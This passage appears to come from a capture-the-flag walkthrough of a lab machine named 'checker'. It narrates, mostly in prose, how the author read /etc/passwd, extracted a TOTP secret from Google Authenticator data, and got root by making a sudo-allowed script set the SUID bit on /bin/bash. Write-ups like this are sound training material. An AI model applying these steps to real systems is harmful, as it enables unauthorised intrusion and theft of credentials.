The book contains three essays, including one titled βBasic Backup with cpβ that provides a file path. Since this machine is played with other players, I also noticed additional files like βExploit,β βaaa,β and βHTMLβ under the recently viewed section.
The other two articles do not contain any important information. This script seems significant because the destination path is unusual, and often the author hides clues in such details.
It works because we successfully retrieved the contents of the /etc/passwd file.
We retrieved the TOTP authentication secret stored within the Google Authenticator.
We extracted the OTP from the script above, noting that it is time-sensitive and expires quickly.
However, it still did not succeed.
Letβs use ntpdate to synchronise the system time.
You can view the user flag by running the command cat user.txt.
Escalate to Root Privileges Access on the checker machine
Privilege Escalation:
Review and confirm the sudo permissions granted to the reader user.
This small script is like a set of instructions for the computer. It starts by loading some hidden settings needed to run properly. Then, it takes a username given by the user, cleans it up to make sure it only contains letters and numbers (to avoid any strange or harmful characters), and finally runs a program called βcheck_leakβ using that cleaned username. Essentially, itβs a way to safely check something related to that user on the system.
When we run /opt/hash-checker/check-leak.sh using sudo, it shows an error saying that the <USER> argument was not given.
Supplying βreaderβ as the user caused the script to return an error indicating the user is not found in the database.
When specifying βbobβ as the user, the script revealed that the password was exposed.
The /bin/bash binary does not have the SUID permission set.
The script sets the /bin/bash binary with the SUID permission.
You can view the root flag by running the command cat root.txt.